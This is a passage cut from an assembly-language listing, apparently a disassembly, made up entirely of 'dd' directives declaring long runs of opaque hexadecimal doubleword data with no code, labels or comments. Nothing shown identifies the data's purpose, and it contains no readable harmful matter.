807B8085h, 1C3CE2Fh, 3D149338h, 0C48DAF86h, 6D386511h dd 0D41E0FDEh, 2463A01Ch, 4A93F9Fh, 0FF7049F8h, 320490AFh dd 6000E991h, 4697C373h, 6AD7E7h, 0C6C89DD5h, 0CAE24CFBh dd 62A9F500h, 0ACFC11A5h, 0E31E007Eh, 6AEAFE9Ch, 0F500D628h dd 8D7AE484h, 23DCBFh, 0C1FA19A2h, 0B7BE9456h, 14D4F303h dd 0E9ABD25Ah, 0FBF171h, 0E6798F81h, 6955D47Eh, 4714D11Ch dd 0B19C09h, 6352951Ch, 6E2A037Bh, 2B487325h, 3927BCE0h dd 0D6D4C500h, 0AE159A91h, 258E00B4h, 4F99D0F1h, 6907774Ah dd 4020D484h, 33FF00BFh, 1706169Ah, 59E1F8h, 258FD84Dh dd 2200E59Fh, 1419C3CBh, 24EB502Fh, 0A0AF08h, 0E280F233h dd 7B001DB3h, 64FEA074h, 342D4Bh, 0B0902EAFh, 1B608431h dd 0B125B400h, 0B54D61AEh, 5E82020Eh, 77BE7566h, 0A8EEE840h dd 2DE4E700h, 0F02B708Ch, 8E4F0151h, 9E698326h, 30BFF1EAh dd 0F600DA9Ch, 7D2D02CDh, 30FEE87Fh, 2F587C93h, 9F00111Ch dd 1EF8B290h, 3F777Bh, 0F275BE54h, 810A266h, 0E53B0700h dd 0D60A3C2Eh, 0D5E6092Bh, 0BC01C9C8h, 0E4421637h, 0CD77FFDDh dd 720A5300h, 7AF7C2D6h, 28E227h, 0D89B831Eh, 98827634h dd 898F490Eh, 0E0F66190h, 0D4F8CBFDh, 1427F3Fh, 24F708FCh dd 0D87B9584h, 5810754Bh, 46044F3Ch, 81B52760h, 805FD606h dd 77AA9A48h, 7A35B67h, 0F53B60B2h, 64656024h, 58073ADCh dd 4C37B647h, 3878E070h, 757B075Eh, 0A0E227A5h, 0B1534B7h dd 0FA1D86E6h, 0B826A3h, 0E7B50F04h, 9CEAECh, 785D10C3h dd 2B68D409h, 0B1FDD500h, 0F3B4A332h, 88573D90h, 0CBCAB680h dd 1A4D33E3h, 2C59BE00h, 0E0AA98A5h, 9C664CDEh, 2B008B3Bh dd 0BCE61EEEh, 0CDFC869Ch, 3330100h, 595ABCFh, 0F2FE00CEh dd 0E392E826h, 6C008A81h, 6FE99AF5h, 0A882EDh, 2C61BBC2h dd 89B5A6CCh, 7837E400h, 9C50DFDAh, 5FC60027h, 64317AEEh dd 6A000C88h, 7B54C7C0h, 9398F2h, 0AE6B1FCEh, 0A3333BBCh dd 0E4EFDD07h, 1831ED9h, 4A28F140h, 9899AF0h, 83CC61F3h dd 293FB021h, 63460CEh, 394733Bh, 0DF973B65h, 153C99B2h dd 5D466C0h, 0F401D331h, 912480FCh, 6C1FB0ACh, 0D500C3DFh dd 6379384h, 58FF0082h, 2DA7ABA9h, 8A009EDCh, 11B8F581h dd 48D2138Fh, 0E129CD9h, 84580F42h, 2C1D93h, 0DBF15B82h dd 2624BA7Ah, 9A82F020h, 78C6324Eh, 49836h, 9EE453F6h dd 504D8936h, 97D79F00h, 76097BDCh, 0FBA006CCh, 40B0AED3h dd 0C1B2BF09h, 652C019Eh, 0A0F4C9C4h, 86C83AA1h, 70FFB500h dd 0B544E6Eh, 0E0944B00h, 0C82A9DB9h, 8FD8C0D7h, 0F31C037Ah dd 8546B600h, 0FE094A5Bh dd 532C288Bh, 98A409A0h, 64204206h, 0EC283885h, 86761177h dd 0AE463D00h, 3B067624h, 0A7631D2Ah, 0E15C8F87h, 36426CC0h dd 5A4CDDFEh, 5F35800h, 0FB13B29Dh, 8518E902h, 2DB881E1h dd 72EDB67Eh, 2EB270h, 9CCA0A28h, 0F5F670AEh, 0CEA4Ch dd 4F300C5Eh, 5F2EBE33h, 76C0C07Eh, 0C000849Dh, 0F62DE3Fh dd 4BEC758h, 1A2182B5h, 1007837Fh, 0AAE1E2B8h, 0CAFC4600h dd 0CF43DD94h, 0F88E0226h, 0C84C47B0h, 0E6C0A062h, 237522A4h dd 6DAA311Fh, 0FFF5A800h, 18E1D618h, 0AC542A81h, 0C70FCC94h dd 0AFAD68C4h, 0F1F20066h, 7AD8424Eh, 539900D5h, 9611C7C6h dd 5C00DCDEh, 6D16FFBh, 23F0D2h, 9558FC5Dh, 0E7B2D01Bh dd 0AE045200h, 3AB60E9Bh, 53650082h, 0FA6420ABh, 0DEBE5F8Bh dd 7D8CA509h, 0DEC77D01h, 0EC96C51Bh, 9A00D1A9h, 0ED9F3AC1h dd 1741C6E4h, 0D03416h, 1028BFEBh, 310553DCh, 5FBC427Bh dd 70B66C7h, 0A71147EDh, 1620EE6Dh, 0D2ED0025h, 0F50ADD1Ch dd 4275D3BFh, 5FFB4Ch, 4A843BF4h, 4645A2h, 0AFBCAD4Ch dd 12D4F805h, 0F0E13Dh, 0A761722Ah, 0C5A126h, 8B7C8938h dd 1DD0CB2Fh, 825D5901h, 96BB9A99h, 940E6181h, 0E0B1025Bh dd 6E00EA42h, 9B077F5Eh, 0F0D08C95h, 0CE7D79h, 0A038A374h dd 0AB7B034Dh, 1052770Bh, 0BE9300C3h, 0F8BC81h, 8DF09996h dd 0D7BDB53Dh, 0B91B191Dh, 6BDF3BDCh, 0CD4DF2C0h, 457D5Dh dd 2D81B2F7h, 0EFA9AA36h, 4888BB07h, 4ED07CC6h, 2BD8B78h dd 6459B81Eh, 36E0DDD7h, 33008115h, 0BEFB2B01h, 0F62EB76h dd 5889833Dh, 78B741E6h, 27A6B000h, 5C2BCF72h, 0D459003Ch dd 0B94CD48h, 880095C1h, 6550A212h, 0E9E71D1h, 11558AD0h dd 770E048Bh, 8D494A0h, 4B013BCAh, 0A78043B5h, 0B07EBCB7h dd 0D21F8FCCh, 0A89E86B6h, 0DB69CC00h, 7412A89h, 25F99493h dd 9E5E1C7Ah, 0C403BF72h, 0DE9D7B6Dh, 7043A8B0h, 10BA00FEh dd 9C1C3FF3h, 0D8B5F66Bh, 1A530054h, 0F2F85616h, 0E466FC7Fh dd 82205410h, 0F88D6008h, 317E60EBh, 0B6F2D315h, 3018C38h dd 47C265CCh, 0B1D2C0E6h, 0A710C779h, 11FA83E5h, 1CB7213Ch dd 0AC1EFDC9h, 8075D44Eh, 7B921301h, 0F317DB5h, 7E5553F2h dd 0FF2CBD2Ch, 0C58C101h, 7D32BC89h, 63EFE089h, 0FC5CAD80h dd 0D300F2AFh, 0D87533D4h, 0CCF3FEE3h, 0B671B911h, 0F99DA405h dd 9043D6A7h, 78893A5Ah, 22090348h, 0C9031E4Bh, 54DCAA0h dd 69C576F8h, 1408464Fh, 0FBAD0072h, 0F8E1795Fh, 0D49B4400h dd 453DFFC1h, 653F006Ah, 60166CD2h, 7B1C9ED9h, 0FE0059BBh dd 23DAC9A3h, 0CF1E00BFh, 0FCDD2409h, 3403602Ah, 0C8160A41h dd 0B9D3D0AFh, 84320001h, 6617BC26h, 6107E723h, 693DED87h dd 73F9E08Eh, 3D44D697h, 0BF804AB0h, 707C33C6h, 24F0D58Ch dd 13305305h, 0D0835156h, 6F9FE07h, 0B9FCAD63h, 0EF5311D9h dd 979BE004h, 0B610C098h, 0F6452B59h, 4717E07h, 0BD0A61Ch dd 546008h, 9DA31B3Ah, 0F4723E0Dh, 9556210Fh, 0E52867D5h dd 965D3C10h, 0E81040A4h, 61372F07h, 0E09F0CC6h, 8C4DDD17h dd 0FBAF2EB7h, 0F86B0041h, 47DE6C92h, 0D326D500h, 90447B06h dd 0BCE1655h, 4EE8006Dh, 0BF1E6C11h, 102AB800h, 80783F5Ah dd 0B0013976h, 2E9CA280h, 0EA04F7A7h, 0DC733Bh, 0B418E3AEh dd 842D38h, 759728BDh, 0A2682C1Ch, 0DDA77824h, 0EE713A00h dd 9DB8BCh, 4C281950h, 700730CEh, 0A8733F03h, 9069ED7Ah dd 4D7264h, 6AC5F75Fh, 192FBC9Dh, 7EC50B5h, 1191F6CEh dd 0AF23306Bh, 22001C06h, 0CC9F7934h, 974713h, 0C29552F4h dd 24EE89A9h, 54006D7Eh, 0C88309FDh, 1FA0B7F8h, 0B91CF136h dd 6D758780h, 112D35Ch, 0CB929101h, 0AAD71877h, 609FEACDh dd 4098DE9Eh, 95A19B05h, 0AB00380Eh, 0CA60FBB9h, 44CE56h dd 7334D4E6h, 94C2AD7Eh, 0B1438D07h, 2A40093Bh, 4D764Eh dd 14900741h, 0E2CD051Ch, 65572500h, 64887051h, 0BDDD130Bh dd 0F45E004Fh, 71248B5h, 9C678B05h, 8700BFA1h, 6146D0D1h dd 2469F81Eh, 186C2CE0h, 996E1872h, 824E0600h, 0DC4CD7DFh dd 0F48000C6h, 9DD4FDFAh, 0E862F626h, 8753A2D0h, 5C914A91h dd 3260B690h, 0CD8C0119h, 0FD5076F4h, 0EECEF836h, 0D561F102h dd 4847B69Eh, 2F5464h, 0E033F80Ah, 7C2139E7h, 924CD3Ch dd 0E4B803h, 8E1A2E28h, 0E9E600C2h, 965BED3Dh, 0B401F24Bh dd 0F37AC7D0h, 11808E95h, 0E1CA4385h, 93005E6Ch, 0ABEFA85Bh dd 70C01E2Fh, 7983609Eh, 5A8BE16Bh, 2C3248h, 0FD365BD1h dd 12C28704h, 6E1D6Ch, 2D223504h, 5B002B10h, 0E91EB901h dd 0F8C1BF0Ah, 7C4B07DEh, 0EDE10Dh, 0E0606904h, 0BAEB6A3Ah dd 0A2418058h, 342831AFh, 4F1F0190h, 0BDC15D2Ah, 1C0F2059h dd 8E3A9D13h, 4A7A0D07h, 86D702B0h, 0D3F00029h, 19A25A20h dd 840022BAh, 0A5AAA047h, 0A93EE1h, 0FD42C595h, 0E9FFDD92h dd 22306D03h, 0C07AAB05h, 9053FCC3h, 637688h, 1FC98ED5h dd 9FAB0722h, 6972A400h, 739A443Fh, 62B0A0E5h, 30547A3Eh dd 836E0A6Fh, 0EB0060FDh, 0FA6C1BE6h, 0F07EC3h, 0EF3AFB1Ch dd 0A64785A2h, 4C3CC403h, 0C0182AF9h, 1F194609h, 0C0309532h dd 0A5FCA994h, 0ED00CE0Fh, 338BE9B3h, 46492Ch, 0E47ED737h dd 83F26B80h, 0B730B600h, 0C81FF9C9h, 0AE2B0071h, 849499A5h dd 4B001410h, 70F422FAh, 77F7CCh, 0C37CF574h, 0DE65CDE3h dd 4CDBE900h, 9D89983Ah, 398100A4h, 0CAD43280h, 201FE2B6h dd 0AD00BD2Ch, 0FF4B270Bh, 7A6000Dh, 91C6CA52h, 0A53D5CEDh dd 28238008h, 7122056Bh, 64E2FDh, 217AA350h, 0FA32C8A9h dd 956CAB0Fh, 5FB3E286h, 0AD4660D7h, 839300F6h, 47A074EEh dd 0A90113D2h, 1E404358h, 0E4F852F1h, 3E4FE0B3h, 0D500115Ah dd 951604E2h, 0E7004A69h, 0CA96C659h, 109C3Dh, 273BF931h dd 0F4E63E07h, 0BEABCF00h, 9DF19949h, 0ECFC008Dh, 0FCA9124h dd 8B0E42A1h, 41A7A495h, 97279652h, 7325BECh, 6ECB0B55h dd 0FC4B5035h, 0D6001E83h, 767210CFh, 0B59A0Dh, 0A4349B98h dd 0F1466D1Fh, 0C82DD200h, 5205848Bh, 0E53B28E4h, 8F860090h dd 6E217028h, 453E9F46h, 149B008Eh, 0AAE4CA99h, 0F9D8075Bh dd 905EA68Fh, 9F0CE59Ah, 9061C004h, 5583108Bh, 0B3DE990Fh dd 3970FB46h, 7054B8h, 0C33057C1h, 2A8ED648h, 0A8FA9177h dd 9402E401h, 53C224E8h, 28E2AAE0h, 0C86074h, 6A937D92h dd 62209609h, 6D944A03h, 0BBF035B0h, 101A711h, 0E3FD1EDAh dd 0D9C081F1h, 69634C90h, 37663A00h, 1A716EDCh, 0F4EE79EEh dd 688B3601h, 87A5CBC3h, 0FC731260h, 57E80C1Dh, 4A11F5BFh dd 0B2E0DF12h, 3980C40h, 0E21C8323h, 365A041Bh, 97B60B48h dd 0E0D9E02Ch, 79005666h, 76137869h, 0F8E62BAh, 0DA2E9736h dd 0C2097700h, 0DC7DFF24h, 6937F300h, 141B6654h, 6C21008Bh dd 436B9B61h, 220F9951h, 0D40C37C3h, 3CB600A8h, 0E9B0FB1Fh dd 18BE042Dh, 8049CEE4h, 4489DCCEh, 0DA791E00h, 0FAB9FF98h dd 3FEA0ACAh, 0E480A7h, 0F006173Ch, 0C50F6DB2h, 404B1BB9h dd 2A28F35h, 826C00CDh, 6E50B4D9h, 0AC00D8C1h, 2CFAEC16h dd 1274A37h, 47F4D73Dh, 0ECC7338Eh, 2D00136Eh, 0E9F8052Eh dd 621EC0h, 0DEE6020Dh, 2194888Fh, 2DAF3100h, 116345B4h dd 0E54182Ah, 92AAE178h, 8198CA00h, 5DB7B99h, 0BCC8EB83h dd 16E20EDDh, 52A00CBAh dd 9E5C0BF2h, 0A51772FCh, 0E70758E6h, 78800545h, 0B077A8h dd 115B9213h, 3FBA0864h, 5A5AF2Ch, 0D46C6100h, 0A0EE598Ah dd 0E4A777D0h, 684B0081h, 0D6BC4054h, 9D0302F9h, 60DFAD5Fh dd 0FD97A327h, 38E2B800h, 0E6A25CEAh, 3A4D0045h, 0CE79E862h dd 0B6004CA7h, 0F4C259D0h, 0DA25E7h, 82AF37FDh, 0B3EEBE96h dd 0D2097200h, 282F3BD4h, 923E0E2Ah, 596083ABh, 3D885429h dd 0AA9DA203h, 0A0F402E1h, 607F79D8h, 0D4F3303Ah, 580091AEh dd 14EBFFF7h, 291A1Bh, 0CBA42282h, 91AF1E10h, 0BD34E600h dd 1A7397CEh, 47AC0075h, 0D14CABF2h, 0E8038205h, 0FF78C622h dd 7686C14Bh, 250FFCh, 4D1D1814h, 17E1CB15h, 69BBCD00h dd 2377C55h, 0EEF1A076h, 8D9C1C14h, 7AF4800Ch, 0FDDBC18Eh dd 485A8803h, 7C779ADh, 0ED39CFB0h, 106BF7FCh, 0DADE0DAAh dd 5E7B6E00h, 4290EBEEh, 0DF253914h, 7C101B00h, 0E38A0B1Ch dd 6E00DBE4h, 0D867F35Bh, 0E0A1CBh, 0CEE8599h, 33B46DBAh dd 5C009578h, 2B1BE918h, 0D9DED1h, 0E09D748Dh, 0A66E9B30h dd 1FB62000h, 3ED88C2Ah, 0B18597F7h, 2ED0007Fh, 0FC674876h dd 80946539h, 9EA055F9h, 7E6F61Fh, 6FE80746h, 99A6D089h dd 0EB0016B1h, 6E9C256Ch, 0DDFECDh, 1BC22CCh, 3341AD2Ch dd 802FD81Ch, 0A8FF5980h, 90DEC4C6h, 90AB0E55h, 2AA0D276h dd 650BE910h, 0A10E17F6h, 7E803128h, 8780149Eh, 295A7F67h dd 0A33D00A5h, 3A3E0C35h, 0AC074495h, 2B6CB4AAh, 749BF880h dd 692F0014h, 5A5D770h, 0E4C0FDCh, 15FC001Fh, 0CE35D41Ch dd 4A100E8h, 0AB2FE9F1h, 57001F51h, 0C2059760h, 0ADCF39h dd 4E599927h, 54A289D0h, 25F07500h, 66CC2BEEh, 3FCE0319h dd 5383B856h, 0C5901BFBh, 0AB00D1A7h, 900EFB0Fh, 99BBC9h dd 0CBA275A3h, 14294BC2h, 803E163Dh, 607FDFCh, 28FBDF77h dd 0BCA0A2h, 0DC83DB53h, 5A4C448h, 0B9D5EA17h, 0FF0D8E00h dd 1E28F5D0h, 401C56BBh, 0BFDCEF76h, 8600A3C2h, 3FAE8CA2h dd 242138h, 943D5A60h, 90E5E207h, 0FFEAC200h, 9A86FCF6h dd 127500EFh, 582DCC2Fh, 9307C9E4h, 29F8180Fh, 25A928A0h dd 40CE3B21h, 9A27BD80h, 7F98C6C4h, 0B1C98100h, 939BF23Ch dd 0D6350015h, 0D3F1DB32h, 8200ABCAh, 6B8C7C45h, 0E43B5F14h dd 983000F5h, 0D361100Fh, 8200CAD2h, 556F06C8h, 3DE3F618h dd 71807226h, 8BF72290h, 0C700759Dh, 3DC546Fh, 0F39765h dd 90395B0Ah, 5159B434h, 370C6200h, 8DAD89BFh, 4130BBDh dd 0AD004E88h, 0A9569222h, 20CFC207h, 98C01EE1h, 5512A4h dd 0CC33BE94h, 0D53DDA75h, 0D0215160h, 11A11F8h, 14694941h dd 0E41647F3h, 8C9218C4h, 14CCEF26h, 0CF283B00h, 42B3Ah dd 744BD637h, 0BF8A9B75h, 3900B078h, 71D07F76h, 48062338h dd 1036C5Fh, 41274466h, 12920FC0h, 24BB6800h, 9C199D55h dd 0D4AC30E7h, 9F099468h, 533201F0h, 2D110B6h, 0BE2F5C48h dd 0B36F0E00h, 721D9Eh, 216170ADh, 9C7FAF8Ch, 0F8BB3200h dd 2A26BA60h, 0BE5400CEh, 8E2D9ED8h, 1A76093Fh, 56D22900h dd 71948D52h, 53F83A9Fh, 217E0F7Fh, 0B06D5CDh, 54F090D1h dd 0AB23BA1Eh, 0AE76B343h, 93202171h, 23EFC200h, 6F7A4CCAh dd 6080408Ah, 78A3C02Ah, 0D8DF8400h, 0A6D354D4h, 8D42000Eh dd 0ACBC3B5Bh, 65E06E68h, 1776370Eh, 265981A0h, 0BFFC5660h dd 1F752643h, 1C4101B4h, 0DC166966h, 7900F32Ch, 215567E1h dd 0FDA578h, 81F18A20h, 14E219BEh, 0E9E1A001h, 0F6E3DCD6h dd 8219C50h, 4442A4Eh, 45CF1E8h, 10C430AEh, 6E1AE710h dd 0F5763000h, 0FB31D4A1h, 24C73AB5h, 43AEE000h, 0E130CE69h dd 29621D31h, 0AB11DA0Dh, 6AEF1119h, 1276D511h, 1E8D1079h dd 28441B89h, 222968C6h, 7322D965h, 68872023h, 22B2FE00h dd 24ACD1E3h, 0CC30095h, 0A3CFF928h, 0CA009A2Fh, 3CF03D17h dd 0EA4BC95Fh, 0A0370F09h, 5B200148h, 0BD1AE81Fh, 0C2E9500Eh dd 0A88287E1h, 0B5512CB0h, 0B1C7004Eh, 0A1A6B0DFh, 213867A2h dd 7A2581E2h, 0F6170895h, 1CEE2860h, 40AD49FBh, 0D5B8F3F7h dd 0D2002D5Fh, 19A695E0h, 3E6796h, 0D01DE801h, 4C9A94D8h dd 0D5630D05h, 0B3000458h, 2D9C7692h, 6BD70138h, 6F2814B5h dd 30A1DD41h, 1D003FD8h, 869BB975h, 985055FEh, 0DCA9543Bh dd 5A300038h, 0FCBF84A4h, 0E5007B88h, 5827856Dh, 5087Ch dd 0B983D349h, 47E73717h, 0EEDB8900h, 934453CCh, 0FBA5005Dh dd 8874E115h, 9A00D37Ch, 0E5F801C0h, 3D2A0B30h, 6C81D29Fh dd 0E806351Eh, 0FE1A6077h, 1CC4DE1Fh, 570AC700h, 5C475343h dd 9C00342Fh, 6FF988ADh, 0B4004D69h, 9677BD17h, 803BFh dd 0B646584h, 0A32EC8DBh, 5D0F4E08h, 1A7C0041h, 7BF5AB61h dd 80CD2239h, 94FE8112h, 0EA78A43h, 5F5D7CEAh, 2C532F80h dd 0E400B29Ah, 0B931F906h, 1F8412A0h, 7CC045Ah, 31D1F6EAh dd 0C26BADD3h, 0DD90AB40h, 9DECB900h, 3198C77Ch, 0B7E6E3h dd 478FBC6Eh, 783DE575h, 5501E1E0h, 63A8C0B4h, 0D5DCB956h dd 0A6B503DDh, 0B8E6C8DFh, 491EA790h, 8B293D00h, 4A01979Fh dd 2DF93B25h, 80A45F9Eh, 8AB9CF70h, 0AF03FD5Ch, 0E0C4DA83h dd 7497E0E3h, 0B16428B5h, 9F041DA8h, 73F80F3h, 613C2A6Fh dd 2D729500h, 90DA6E10h, 0B0301C17h, 0F3D700D5h, 11571ECDh dd 0D197C600h, 0ED23F0FEh, 7FF0015h, 14BC1931h, 39014541h dd 0B976913Ah, 32FCEBF6h, 13961F7Dh, 9318B06Ch, 0B9EC7C02h dd 7486E80Eh, 2033AEE2h, 6BC246A9h, 8978001Ch, 3ECAE7D0h dd 1E3AA03Ch, 94E80115h, 83E21FFBh, 871DE4h, 0ACBE5BE5h dd 0EDF580C3h, 437CBA00h, 4EEF4760h, 0D27519h, 301D2957h dd 34E7CFF6h, 0A45EF100h, 0A0DD5836h, 89E10076h, 0E83E59Fh dd 1C2665E0h, 0DA004C80h, 91CB90E3h, 0CD3A1E82h, 5B9C0EBh dd 0D233858Fh, 0B800FAE0h, 0C30ED508h, 267140C0h, 27ACCEh dd 0F431FDC7h, 2778DECFh, 0AAE2CC0Fh, 768CA098h, 95704h dd 6D9EDBD9h, 0E7C5ECF0h, 0F3EA3Ch, 76D682BCh, 0B30775h dd 8F0F5526h, 0A25AF44Eh, 0DADE0200h, 346A85EEh, 0F9CEC82h dd 9DE1535Eh, 3EE8009Ch, 0C7186671h, 2C014707h, 70402EA4h dd 5F93FEh, 56EED41h, 82B6D1Ch, 86C85C50h, 0A1625300h dd 457E43BDh, 8478489Dh, 46047400h, 0CBA573E9h, 7C7AA10Fh dd 0FA94014Fh, 0CFCDC6Dh, 24130026h, 18608E67h, 533EE12Ah dd 50544CD3h, 23004FF6h, 8A0370FCh, 6C05995h, 6C8BC8C7h dd 0F800304Bh, 0FDC3827Ch, 3C7D03F2h, 9A00D410h, 768E81EBh dd 0F600E098h, 0D0743928h, 0CC69D1h, 38B9C6AEh, 0A264E736h dd 40EF1270h, 748E61ECh, 5FD9183h, 0A30E5C80h, 8BF6F98Ah dd 0C00093E8h, 5FE32A1Fh, 2CFA765Ah, 18D7D5h, 895507D0h dd 950E1C5Dh, 29AB7E57h, 2CAC8088h, 0E4F8976Ah, 0D7DA3CE1h dd 2A442780h, 0B9EA91ACh, 81C2A600h, 0EF9DDEF5h, 1EA3E6B7h dd 0C384E4F4h, 907007FDh, 80A63EE0h, 9500EEE8h, 6741350Ch dd 0BCF308h, 0BF2C45E4h, 6734687h, 24002074h, 0D98C3AB4h dd 534E16h, 0BFF3AF6Fh, 4D844372h, 0B7A78607h, 0A9EF083Ch dd 44CC801Fh, 171B234h, 4146023h, 0C44FDDFDh, 9F005F19h dd 4CDCFC0Bh, 1FC3CDC2h, 40205659h, 0F1185027h, 4F0CA52Fh dd 18ADCAF8h, 60910B12h, 5007B587h, 151DF221h, 92AB440h dd 27EC8200h, 0C58FF2A2h dd 28B4EADBh, 24DB154Bh, 8054591Dh, 6A8875E4h, 7B0022A8h dd 0AE970BE6h, 3863BF7h, 100241BCh, 0D4079D1Eh, 0DE959434h dd 80C8692Fh, 0FCEF6DBh, 0C5C60782h, 0FB43E3FDh, 0EBCF5C00h dd 0FA000740h, 0AE468BACh, 44D922h, 0E375985Ch, 0FFDB1B94h dd 14AA0504h, 0DF8399F9h, 0D5D088D3h, 42AF2C44h, 3E600068h dd 6E2BB67Eh, 2CE9D701h, 8E1DCFD2h, 0F40030h, 0AEE63F45h dd 0F2C1A0D8h, 0CDCC1000h, 97404A48h, 0B89009h, 0ADD955BDh dd 0EC6815BFh, 278E740Eh, 2484D571h, 803A983Eh, 559CE66Ch dd 1F0CFECAh, 0E4912EDBh, 0D7F609ACh, 0BF212B83h, 97EDCE98h dd 17E31101h, 3BDDE71Ch, 2E01C820h, 93F4347Ch, 70100084h dd 62745DDFh, 123951Ch, 9DAB5B40h, 80D112h, 919759CBh dd 5F355AF0h, 87A8B400h, 0B0BFD676h, 0FDE6C6h, 4AD9ACC8h dd 0AE599D0Ch, 84E5043Eh, 52CF924Dh, 436DAD80h, 0A5610017h dd 8D4B25BFh, 0E3189560h, 24D8E945h, 0F23100E4h, 0BEC91FB4h dd 0C4141819h, 1CB03028h, 4CE4219Bh, 70E78201h, 76E864DAh dd 42D0056h, 0F9BC4579h, 58B03AF0h, 78896700h, 53EF8C3h dd 1EDB8C6h, 0DCC4EA93h, 0E02DBF0Fh, 0CA71DF2Fh, 0D300707Dh dd 0E1493EE0h, 0E2A4883Bh, 736F72CFh, 57E50BAEh, 0C80CD78h dd 0BEA0F20Fh, 0BD3B8E7Fh, 94D803Bh, 0DD98C57Fh, 0A429016Bh dd 0B6A4450h, 0CF0EF135h, 36B8AE93h, 0D900D2CEh, 0DB11039Dh dd 1F69CE1h, 2537BD4h, 70ADB739h, 8F00F9B8h, 0A2D50FFh dd 20EEA64h, 0C4A54087h, 0B2E07103h, 0DA009A7Bh, 0EB11BE6Ah dd 5C3CEh, 709139FAh, 25090C1Eh, 420B4100h, 923BEF17h dd 6888000Eh, 33B52940h, 0D502A367h, 77172BECh, 7FC3DFB0h dd 18C0B28Ah, 0FF2E6E9Fh, 8A0F3DF1h, 0C9AB6784h, 90CE7F73h dd 3AF03813h, 0A880A371h, 0B314B4C6h, 1D2EBDFEh, 6F4054ECh dd 1F3ABFDDh, 8A94E580h, 70D0724Ch, 0FB0008E4h, 0AB9E5147h dd 1763193h, 0FF23D5A7h, 0F04C1986h, 6900417Bh, 0D4DA3E54h dd 2E418BAh, 0F7D9AE7Dh, 94E063ABh, 0F3A0B32Eh, 8C00C1BFh dd 0A0CAC065h, 7E4679h, 0D6DC2811h, 0DAC5E070h, 80719407h dd 41BFE996h, 0C66FB218h, 3BC30h, 5F05A2BEh, 9856D31h dd 0D0EF4F00h, 0AB65273h, 3A8002Ch, 0FF10A7F7h, 0DE48D7C2h dd 4BD80180h, 74626D45h, 9EFBF081h, 61EC54DBh, 9BAAD4D0h dd 0CE38B100h, 12EF198Ah, 0D05E01A2h, 3EE1A9B7h, 23DAD4BFh dd 0E77DBC00h, 0FE79CFDEh, 0F741C040h, 52D92409h, 37101C60h dd 0E4CE02h, 14EAB895h, 71E7450Bh, 6BC41500h, 2067886Ah dd 9C5548CBh, 3D7D7A00h, 8CEF3716h, 6406EB0Fh, 0B490F2DCh dd 130CE9D6h, 0A60136h, 0E2C98420h, 0BB399D24h, 8BD0DC21h dd 0A1A8094h, 0B2DCFAh, 666AA0CCh, 0B3E6768Dh, 2EA50B09h dd 0D5E8409Ah, 5576B1h, 68C87DF7h, 103A1CD4h, 529EDF0Eh dd 0AB6E60CFh, 4AF769h, 7A0E6A6Fh, 43B5D2F0h, 2A0AC200h dd 427EAEDAh, 1A0B008Dh, 3A7136D9h, 0F309C9C8h, 81C65C1Dh dd 58BD1B02h, 0F052AE0h, 2036D86h, 31F12DC0h, 1800A954h dd 5A946E55h, 1689CE3Eh, 40E41FA2h, 4AF18404h, 6B004D90h dd 70886714h, 1C405D2h, 0E1E2BBDDh, 0CC4C39E0h, 0A200A664h dd 0E37680D3h, 5816BE25h, 0CE0177F0h, 0D5B4CDCBh, 855FC467h dd 0AAA3D400h, 6B972469h, 3C9E88h, 0EF2EACD0h, 0F096C0C5h dd 0F8C0B812h, 0FE3317h, 0EC29A3C6h, 38358281h, 3B3C8D00h dd 2B0EFC5Ch, 7C790089h, 154449CEh, 8412962Eh, 4802AB65h dd 5869A1E5h, 0C1200430h, 803B3D99h, 0A466A8B0h, 0C2F11D05h dd 0A8D253C5h, 52BE80AAh, 3E0A1042h, 1A0722ABh, 0E0A539E9h dd 0C92A4F1Eh, 0EA1DA70Eh, 0C67AE0E0h, 6194542h, 50416D92h dd 0C8B0C820h, 1AB86603h, 80343632h, 1FC7BE7Eh, 0C0BB2AF4h dd 61812FAAh, 803A3256h, 6A7300D0h, 0EF2D0F3Ah, 5FED07A3h dd 0E07E2AA8h, 18B8C9D6h, 7545431Ch, 8C5227C0h, 1F1AB1h dd 53B8267h, 0E3FB90D5h, 40BE4A13h, 64F52448h, 0E8ABC016h dd 8F4F70E2h, 23A0040Fh, 0C1BBCC1Bh, 89E41337h, 0F8DE001Dh dd 610446F6h, 0C00EA4Fh, 0AC19507Dh, 24D620Dh, 559B873Bh dd 9642ED74h, 46EF3CC0h, 3710C800h, 53197F6Bh, 0E056009Eh dd 727B7E54h, 253B11C1h, 843F00FEh, 0C3DBB0EEh, 51EA076Ah dd 870B6376h, 0CFF5FAh, 75A2709Ch, 0D600B7B4h, 0BAD7F827h dd 3F4496C3h, 22008EB3h, 33737DE2h, 6B1DFD89h, 0A000C812h dd 458855F4h, 8E0E3E0Dh, 38367A00h, 23DE0702h, 0B3109E02h dd 8077ED44h, 0A0DB588Ch, 55503EF2h, 6BAF3180h, 0CE2BBE82h dd 0A7F9950Fh, 4396E047h, 0E4AA983Fh, 1A1200B7h, 0B434F558h dd 7000C6Bh, 41F34B93h, 0E3343D1h, 0CD891083h, 0AED052C1h dd 54B6E036h, 2DB9C600h, 84C57595h, 0ECA103C4h, 0B8B2C24Dh dd 209E0191h, 1A07649Ah, 0B486B5Dh, 0DD238590h, 0F31001B9h dd 7625FCF8h, 0FF9040FBh, 0EE3045F7h, 0D3652020h, 0B235248Fh dd 0ADAC0060h, 6246E1Fh, 37E02000h, 6FE266B4h, 54860930h dd 2080F1B6h, 2D83C935h, 0C7FD4000h, 4CA81A63h, 0BCDD0071h dd 7222BB03h, 38050CF2h, 0CA7830B8h, 64CFBC00h, 482F3184h dd 7D00DC5Eh, 3763B6ABh, 0D90BB5BFh, 201B4073h, 0A2DFA660h dd 3C920008h, 1296EB47h, 0A53926A9h, 4FC000FBh, 646EA642h dd 741D0F20h, 26CFB33Bh, 5CCE8143h, 61FA83C1h, 540FD00Eh dd 560387E4h, 38616796h, 22413CDAh, 6424DF00h, 0EE5BE66Eh dd 2B939F05h, 0C98044A3h, 0B75D37Ah, 91455CAEh, 0A4EC9680h dd 0E0008688h, 10092CA5h, 0C087A6D0h, 0A05D3E11h, 721C20C3h dd 98C7EAA3h, 99904F2Dh, 6FA4C8h, 0D5889446h, 80AFD92Ch dd 682B5903h, 0A031D783h, 1565C37h, 2EE875ACh, 0DC5F2471h dd 21909D4Dh, 69C1500h, 0A380FACFh, 0F4F67FA9h, 25FCBFh dd 834A7B49h, 8B173844h, 0EE9EB900h, 0EFA211CDh, 0ACFB4BB4h dd 1E53836h, 30C8BEECh, 0D0EC2868h, 0EFCD00A5h, 3F34932Ch dd 43009F0Dh, 0E432F2B9h, 1F6C2592h, 4733D4h, 